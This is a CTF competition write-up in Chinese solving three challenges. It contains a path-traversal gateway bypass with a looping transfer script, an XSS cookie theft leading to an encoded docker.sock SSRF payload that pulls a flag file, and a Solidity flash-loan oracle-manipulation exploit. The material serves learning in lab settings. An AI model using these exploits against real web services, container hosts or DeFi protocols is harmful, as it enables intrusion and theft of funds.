XCTF-Final-CTF

XCTF Final CTF环节

Web

wallet

附件:attachment

审计一下,主要流程是可以注册用户互相转账当账户余额高于100000时即可获取flag,主要路由如下:

/register: 注册用户,初始余额为0
/balance: 传参用户名,查询该用户账户余额
/transfer: 从from参数账户转账amount参数数量给to参数账户
/flag: 当账户余额多于100000.1即可获取flag
/users: 查询所用用户账户账户信息

在这里我们重点关注/transfer路由

app.post("/transfer", (req, res) => {
const { from, to, amount } = req.body;

if (!from || !to || typeof from !== "string" || typeof to !== "string") {
return res.status(400).json({ error: "Invalid from or to username" });
}

if (typeof amount !== "number" || amount <= 0) {
return res.status(400).json({ error: "Invalid amount" });
}

const fromUser = users.get(from);
const toUser = users.get(to);

// 忽略不重要的判断条件,用户存在,账户余额大于amount等
// ...

fromUser.balance = fromUser.balance - amount;
toUser.balance = toUser.balance + amount;

let score = amount;
score = Math.sqrt(score);
score = Math.sqrt(score);
score = score * score;
score = score * score;

const precision_error = score - amount;
const bonus = Math.abs(precision_error) * 10000000;

fromUser.balance = fromUser.balance + bonus;

res.json({
message: "Transfer successful",
from,
to,
amount,
bonus: bonus,
newBalance: fromUser.balance
});
});

能够看到转账数目回被开平方两次,然后再四次相乘回来,使用两次的差值来乘上10000000,把这个分配到转账方的账户上。在这个过程中由于Javascript的精度问题,计算回来的数量肯定不会等于原来的数值,我们可以测试一下:

let amount = 100000;
let score = amount;
score = Math.sqrt(score);
score = Math.sqrt(score);
score = score * score;
score = score * score;
console.log("score: ", score);

const precision_error = score - amount;
console.log("precision_error: ", precision_error);
const bonus = Math.abs(precision_error) * 10000000;
console.log("bouns: ", bonus);
//score: 100000.00000000001
//precision_error: 1.4551915228366852e-11
//bouns: 0.00014551915228366852

没转账100000就会有0.0001多的钱多出来,这就意味着只要能成功转账就可以通过多次的互相转账来产生多余的钱,但是gateway/index.js中还进行了限制

app.addHook('preParsing', async (req, reply, payload) => {
const normalizedUrl = decodeURIComponent(req.url)
.toLowerCase()
.split(/[?#]/)[0]
.replace(/\/+$/, '');

if (normalizedUrl === "/transfer" && req.method === "POST") {
let chunks = [];
for await (const chunk of payload) {
chunks.push(chunk);
}
const rawBody = Buffer.concat(chunks);

if (rawBody[0] === 0xEF && rawBody[1] === 0xBB && rawBody[2] === 0xBF) {
logTraffic(req, { blocked: true, reason: "Invalid encoding detected", bodyLength: rawBody.length });
reply.code(400).send({
error: "Bad Request",
message: "Invalid character encoding"
});
return;
}

try {
const body = JSON.parse(rawBody.toString());

if (body.from && body.from.toLowerCase() === "admin") {
logTraffic(req, { blocked: true, reason: "Transfer from admin account is forbidden" });
reply.code(403).send({
error: "Forbidden",
message: "Transfer from admin account is not allowed"
});
return;
}

if (body.amount && body.amount > 50000) {
logTraffic(req, { blocked: true, reason: "Large transfer detected" });
reply.code(403).send({
error: "Forbidden",
message: "Large transfers are not allowed for security reasons"
});
return;
}

logTraffic(req, { blocked: false, validated: true });
} catch (e) {
logTraffic(req, { parseError: true, message: e.message, bodyLength: rawBody.length });
}

const { Readable } = require('stream');
return Readable.from([rawBody]);
}
});

首先使用正则截取urlsplit(/[?#]/)[0]使用?#进行切片,取第一个分组;replace(/\/+$/, '')将多个/结尾的部分去掉。然后判断url是否等于/transfer,如果是的话先判断请求体中是否以0xEF0xBB0xBF开头(某些编程语言会将不可见字符替换为这个),接着解析请求体中的from参数是不是等于admin,如果是的话不允许从admin账户转出去,并且转账金额不能超过50000

所有的钱都在admin账户中,这就意味着必须绕过这个addHook,或者有某些浮点数精度的trick直接钱生钱。

我这里使用/admin/../transfer来绕过,能成功转账

image-20251027204833977

在启动的docker容器中也能看到url的log

2025-10-27 20:48:15 wallet-wallet-1  | {"level":30,"time":1761569295557,"pid":9,"hostname":"a1306ab7c907","reqId":"req-1mj","source":"/admin/../transfer","msg":"fetching from remote server"}

下面就写脚本跑一下,注意pythonrequests库会自动解析/admin/../transfer,所以使用urllib.request来写

import json
import sys
import requests
from urllib import request, error

url = "http://192.168.56.12:3000/admin/../transfer"

data = {"from": "aaa", "to": "admin", "amount": 100000}
data2 = {"from": "admin", "to": "aaa", "amount": 100000}
headers = {"Content-Type": "application/json"}

bala_data = {"username": "admin"}

def post_json(url, payload, headers=None, timeout=10):
if headers is None:
headers = {"Content-Type": "application/json"}

body = json.dumps(payload).encode("utf-8")
req = request.Request(url, data=body, headers=headers, method="POST")
try:
with request.urlopen(req, timeout=timeout) as resp:
raw = resp.read()
if not raw:
raise ValueError("Empty response")
try:
return json.loads(raw.decode("utf-8"))
except json.JSONDecodeError as e:
raise ValueError(f"Invalid JSON in response: {e}")
except error.HTTPError as he:
err_body = None
try:
err_body = he.read().decode('utf-8')
except Exception:
err_body = "<unavailable>"
raise RuntimeError(f"HTTP {he.code} Error: {he.reason}, body: {err_body}")
except error.URLError as ue:
raise RuntimeError(f"URL Error: {ue.reason}")
except Exception as e:
raise

def get_balan():
try:
resp = post_json(url="http://192.168.56.12:3000/balance", payload=bala_data, headers=headers)
except Exception as e:
print("Failed to get balance:", e)
sys.exit(1)

if 'balance' not in resp:
print("Unexpected response from balance endpoint:", resp)
sys.exit(1)

try:
bal = float(resp['balance'])
except Exception:
print("Invalid balance value:", resp['balance'])
sys.exit(1)

return bal

def to_admin():
try:
resp = post_json(url=url, payload=data, headers=headers)
except Exception as e:
print("to_admin request failed:", e)
sys.exit(1)

if resp.get("message") == "Transfer successful":
return
else:
print("to_admin:", resp)
sys.exit(1)

def to_aaa():
try:
resp = post_json(url=url, payload=data2, headers=headers)
except Exception as e:
print("to_aaa request failed:", e)
sys.exit(1)

if resp.get("message") == "Transfer successful":
return
else:
print("to_aaa:", resp)
sys.exit(1)

if __name__ == "__main__":
try:
while get_balan() < 100000.1:
to_aaa()
to_admin()
print(requests.get("http://192.168.56.12:3000/flag?username=admin").json()['flag'])
except KeyboardInterrupt:
print("Interrupted by user")
sys.exit(0)
# XCTF{test}

go-storage

附件

服务由两部分组成,go实现了文件上传与保存,注册登录和管理员逻辑则由nodejs实现。

go部分通过/upload上传的文件保存在/app/src/uploads/目录下,访问/uploads/filename可以访问文件。

nodejs可以注册用户(已经存在admin)且用户名,密码和上传的头像文件保存路径保存在sqlite数据库中。提供一个/visit路由传递message参数,后台会有一个bot登录admin后带着cookie去访问这个message链接。还提供了一个/admin路由,如果是admin则可以控制参数来发起任意的网络请求:

app.post("/admin", async (req, res) => {
if(req.session.username != "admin"){
return res.status(403).send("You haven't access")
}

let { url, method, body } = req.body;

if (!method) {
return res.status(400).send("Specify the method");
}

try {
const response = await superagent[method.toLowerCase()](
url
)
.set("Content-Type", "application/json")
.send(body);

res.render("admin", { response: response.body });
} catch (error) {
res.status(error.status || 500).send(`error: ${error.message}`);
}
});

经过搜索,这个superagent有一个trick:如果是在Node环境下,可以发起Unix Domain Sockets请求

image-20251028230255280

刚好还发现了docker-compose.yml中写着:

version: '3.8'

services:
nginx:
build:
context: ./nginx
container_name: nginx-proxy
ports:
- "18880:80"
depends_on:
- go-server
- bot
networks:
- app-network

go-server:
build:
context: ./go
container_name: storage-service
networks:
- app-network
volumes:
- ./go/src/uploads:/app/uploads
environment:
- STORAGE_URL=http://storage-service:8000
- PORTAL_URL=http://portal-service:3000

bot:
build:
context: ./bot
container_name: portal-service
networks:
- app-network
depends_on:
- go-server
volumes:
- /var/run/docker.sock:/var/run/docker.sock
environment:
ADMIN_PASSWORD: "REDACTED"
STORAGE_URL: "http://storage-service:8000"
PORTAL_URL: "http://portal-service:3000"

networks:
app-network:
driver: bridge

bot镜像在构建的时候把宿主机的/var/run/docker.sock挂载到容器里面了,这明显是要打这个docker.sock。而且还发现bot在登录admin的时候没有设置cookie的httpOnly。这就意味着我们能够通过xss获取到admin的cookie。

await page.setCookie({
name: 'connect.sid',
value: sess,
// domain: 'portal-service',
domain: 'nginx-proxy',
path: '/',
httpOnly: false,
SameSite: 'Lax',
});

还有一个需要绕过就是在访问文件的时候,并不是所有的文件都会返回text/html类型的,如果没有这个就不能触发xss,只有html后缀的文件才能解析:

//代码没有放完整,有需要可以下载附件查看
http.HandleFunc("/", serveHTML)
http.HandleFunc("/upload", handleUpload)
http.Handle("/uploads/", http.StripPrefix("/uploads/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
filePath := filepath.Join(uploadDir, r.URL.Path)
realPath, err := filepath.Abs(filePath)
if err != nil || !strings.HasPrefix(realPath, filepath.Clean(uploadDir)) {
http.Error(w, "Invalid file path", http.StatusForbidden)
return
}

....
....

contentType := getContentType(fileInfo.Name())
w.Header().Set("Content-Type", contentType)

http.ServeContent(w, r, fileInfo.Name(), fileInfo.ModTime(), file)
})))

func handleUpload(w http.ResponseWriter, r *http.Request) {

//省略不重要代码
//....

tempFile, err := os.CreateTemp(uploadDir, fileInfo.Filename)
if err != nil {
http.Error(w, "Failed to create temporary file", http.StatusInternalServerError)
fmt.Println("Failed to create temporary file:", err)
return
}
defer tempFile.Close()

_, err = io.Copy(tempFile, uploadedFile)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
fmt.Println("Error saving file:", err)
return
}
fileName := filepath.Base(tempFile.Name())

w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]string{"filename": fileName})
}

func getContentType(filename string) string {
ext := strings.ToLower(getFileExtension(filename))
if contentType, exists := mimeTypes[ext]; exists {
return contentType
}
return "image/png"
}

func getFileExtension(filename string) string {
ext := strings.ToLower(filename)
extIndex := strings.LastIndex(ext, ".")
if extIndex == -1 {
return ""
}
return ext[extIndex:]
}

我们跟进os.CreateTemp(uploadDir, fileInfo.Filename)去看一下保存文件的实现:CreateTemp() -> prefixAndSuffix()

func CreateTemp(dir, pattern string) (*File, error) {
if dir == "" {
dir = TempDir()
}

prefix, suffix, err := prefixAndSuffix(pattern)
if err != nil {
return nil, &PathError{Op: "createtemp", Path: pattern, Err: err}
}
prefix = joinPath(dir, prefix)

try := 0
for {
name := prefix + nextRandom() + suffix
f, err := OpenFile(name, O_RDWR|O_CREATE|O_EXCL, 0600)
if IsExist(err) {
if try++; try < 10000 {
continue
}
return nil, &PathError{Op: "createtemp", Path: prefix + "*" + suffix, Err: ErrExist}
}
return f, err
}
}

func prefixAndSuffix(pattern string) (prefix, suffix string, err error) {
for i := 0; i < len(pattern); i++ {
if IsPathSeparator(pattern[i]) {
return "", "", errPatternHasSeparator
}
}
if pos := lastIndex(pattern, '*'); pos != -1 {
prefix, suffix = pattern[:pos], pattern[pos+1:]
} else {
prefix = pattern
}
return prefix, suffix, nil
}

简单来说就是将上传的文件名以*字符分成两部分,*左边的部分作为前缀,右边部分作为后缀,然后生成一个随机数拼起来(替换了*位置),如果不存在*则直接在原来的文件名后面加上随机数——这样就会更改文件后缀了。所以只要我们在文件名中加入*就能保证上传的文件后缀不被改变。

攻击流程就是首先注册用户,上传带*字符文件名的头像(内容为js代码触发xss),将头像链接通过/visit传递给bot触发xss获取cookie,用cookie登录从/admin路由发送payload攻击docker.sock,需要从go-server容器获取flag

先上传文件

image-20251028234729725

那文件链接为http://nginx-proxy/uploads/1316514555311.html,注意是nginx-proxy,发给admin

image-20251028235537483
image-20251028235521842

拿去登录,去找一下docker.sockapi:https://docs.docker.com/reference/api/engine/version/v1.39

这里有一个从容器中打包文件的:/v1.39/containers/{id}/archivecontain id可以使用/v1.39/containers/json获取或者直接使用storage-service,发送请求,注意一定要保留%2F.

url=%68%74%74%70%2b%75%6e%69%78%3a%2f%2f%25%32%46%76%61%72%25%32%46%72%75%6e%25%32%46%64%6f%63%6b%65%72%2e%73%6f%63%6b%2f%63%6f%6e%74%61%69%6e%65%72%73%2f%34%39%31%38%66%31%35%64%30%61%66%32%38%31%35%31%37%30%61%35%34%63%35%61%61%35%38%35%35%61%38%35%64%61%61%62%36%66%65%61%64%30%62%30%63%62%66%36%36%65%37%64%36%64%64%38%38%63%65%61%34%39%66%63%2f%61%72%63%68%69%76%65%3f%70%61%74%68%3d%2f%66%6c%61%67%2e%74%78%74&method=get&body=

# http+unix://%2Fvar%2Frun%2Fdocker.sock/containers/4918f15d0af2815170a54c5aa5855a85daab6fead0b0cbf66e7d6dd88cea49fc/archive?path=/flag.txt
image-20251029001843432

image-20251029002110189

是个tar文件直接解压即可stableToken

Misc (BlockChain)

Warp Finance

附件

这个是一个典型的预言机操纵漏洞的题目,其中部署了:

  • MockERC20.sol

token代币标准,题目中的collateralTokenstableToken是基于此标准的两种代币

  • WarpDexPair.sol

这是一个自建的AMM,也是本题目中的预言机。初始状态下,给了10 ethercollateralToken1000 etherstableToken,虽然在交易时会收取0.3%的“手续费”,但是可以认为这个预言机的的K值是固定的10*1000=10000

  • WarpLendingPool.sol

借贷池,可以通过上面的预言机给出的价格来换取对应代币的87%,例如初始时stableToken的价值是0.01,100个stableToken才能换0.87个collateralToken还只能换出87%的代币,即。初始状时,池子里有1600个stableToken,我们的目的是把这1600个全部取走,并且我们的账户里面要有600个stableToken

  • StableFlashMinter

stableToken闪电贷,能一次性借出1500stableToken。需要在同一笔交易中还款,即要在合约中实现onFlashLoan(uint256,uint256,bytes)函数

于是攻击思路就是在攻击合约中实现onFlashLoan,先从闪电贷中借出一定数额,然后在`onFlashLoan中去预言机里面把stableToken全部换成collateralToken,这样一来预言机器中的stableToken就非常多,collateralToken就很少,那么collateralToken的价值就非常高,一个就能换非常多的stableToken,我们拿手上的所有collateralToken去借贷池中全部抵押换成stableToken。通过高杠杆把pool中的stableToken全部取出,用一部分去还给闪电贷。

这里还需要注意,闪电贷能借出1500个stableToken,但是借的多还的多,总共只能获取1600个stableToken,如果全部贷出那么还款后只剩下100不能满足解题条件,而且在dex中的价格只需要抬高到一定程度就能满足不是越高越好,所以我们需要确定借多少:

要取1600,但是有0.87的因子,所以至少要借的数额是\(1600 \div 0.87=1839.08045\approx 1840\)

假设我们用x个stableToken去抬高价格,初略算一下列出式子(忽略0.3%手续费)

\((10-\frac{10000}{x+1000}+1)*\frac{1000+x}{\frac{10000}{x+1000}}=1840\)

\(\frac{11x+1000}{x+1000}*\frac{(x+1000)^2}{10000}=1840\)

\(11x^2+12000x+17400000=0\)

\(x\approx825.4\)

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import "../src/Setup.sol";
import "../src/core/WarpDexPair.sol";
import "../src/core/WarpLendingPool.sol";
import "../src/utils/StableFlashMinter.sol";
import "../src/tokens/MockERC20.sol";

contract WarpExploitPoC {
WarpDexPair public immutable dex;
WarpLendingPool public immutable pool;
StableFlashMinter public immutable flashMinter;
MockERC20 public immutable collateral;
MockERC20 public immutable stable;
address public immutable attacker;

constructor() {
// edit after deploy setup
address _dex = 0x73d5596F97950f1048b251E3e3Ee5ab888d76d37;
address _pool = 0x3A09bB767270BADdFe534CD3cF830c14c65adA73;
address _flashMinter = 0x4e2d190457f1fAA2BC7C8aabFb9b829Da008d18A;
address _collateral = 0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D;
address _stable = 0xb8f43EC36718ecCb339B75B727736ba14F174d77;
dex = WarpDexPair(_dex);
pool = WarpLendingPool(_pool);
flashMinter = StableFlashMinter(_flashMinter);
collateral = MockERC20(_collateral);
stable = MockERC20(_stable);
attacker = msg.sender;
}

function depositInitialCollateral(uint256 amount) external {
require(msg.sender == attacker, "only attacker");
collateral.approve(address(pool), amount);
pool.depositCollateral(amount);
}

function attack(uint256 amount, uint256 minOut) external {
require(msg.sender == attacker, "only attacker");
bytes memory data = abi.encode(minOut);
flashMinter.flashBorrow(amount, data);
}

function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external returns (bool) {
require(msg.sender == address(flashMinter), "not flashMinter");

uint256 minOut = abi.decode(data, (uint256));

stable.approve(address(dex), amount);

dex.swap(address(stable), amount, minOut, address(this));

uint256 collBal = collateral.balanceOf(address(this));
collateral.approve(address(pool), collBal);
pool.depositCollateral(collBal);

uint256 poolStableBal = stable.balanceOf(address(pool));
uint256 borrowAmount = poolStableBal;
if (borrowAmount == 0) {
borrowAmount = 1600 ether;
}

pool.borrow(borrowAmount);

uint256 repayAmount = amount + fee;
stable.transfer(address(flashMinter), repayAmount);

return true;
}

function withdrawProfits() external {
require(msg.sender == attacker, "only attacker");
uint256 bal = stable.balanceOf(address(this));
if (bal > 0) stable.transfer(attacker, bal);
uint256 cbal = collateral.balanceOf(address(this));
if (cbal > 0) collateral.transfer(attacker, cbal);
}
}

题目给的是foundry(forge)的部署方式,我这里使用remix部署演示,先在remix里面部署Setup.sol,部署后能够拿到dexflashminter等合约地址,将地址填到攻击合约中。

image-20251110202207123

编译MockERC20.sol,复制stableToken的地址和collateralToken的地址到remix的At Address位置获取已经部署的代币合约(方便后续转账使用,注意区分两个不同代币合约)

image-20251110202425116

以上合约部署与获取都用同一个账户操作,攻击开始时需要使用不同的账户,包括部署攻击合约。

编译攻击合约,切换其他账号部署,称为attacker账户

image-20251110202905973

攻击合约部署后,我们可以先检查一下poolattackerstableToken余额,分别复制这两个的地址去调用stable代币合约中的balanceOf(),此时attacker应该是0,pool应该是1600*e18即1600 ether

image-20251110203515886

先使用attacker调用Setup合约的claim(),这会给attacker1个collateral 和 20个stable。然后在调用collateral代币合约的transfer(),参数填写我们部署的攻击合约地址和1000000000000000000(1 ether),把钱转给攻击合约以便后续攻击,这时攻击合约就有1collateral

image-20251110204723717

接下来attacker调用攻击合约的depositInitialCollateral(),参数也是1000000000000000000,把攻击合约的1个collateral先存入借贷池中。然后attacker去调用攻击合约的attack()amount参数就是闪电贷的数额,minOut填0就好;amount为了增大容错我们就借830 ether

image-20251110205403985

如果攻击成功,这时候的攻击合约地址应该就很多stable代币,而且pool里面的stable应该就清空了,我们可以使用stable的代币合约的balanceOf查看

image-20251110205651020
image-20251110205731472

最后attacker调用攻击合约的withdrawProfits()把钱取出来,然后再去调用setup.isSolved()查看解题是否成功

image-20251110205903531

攻击成功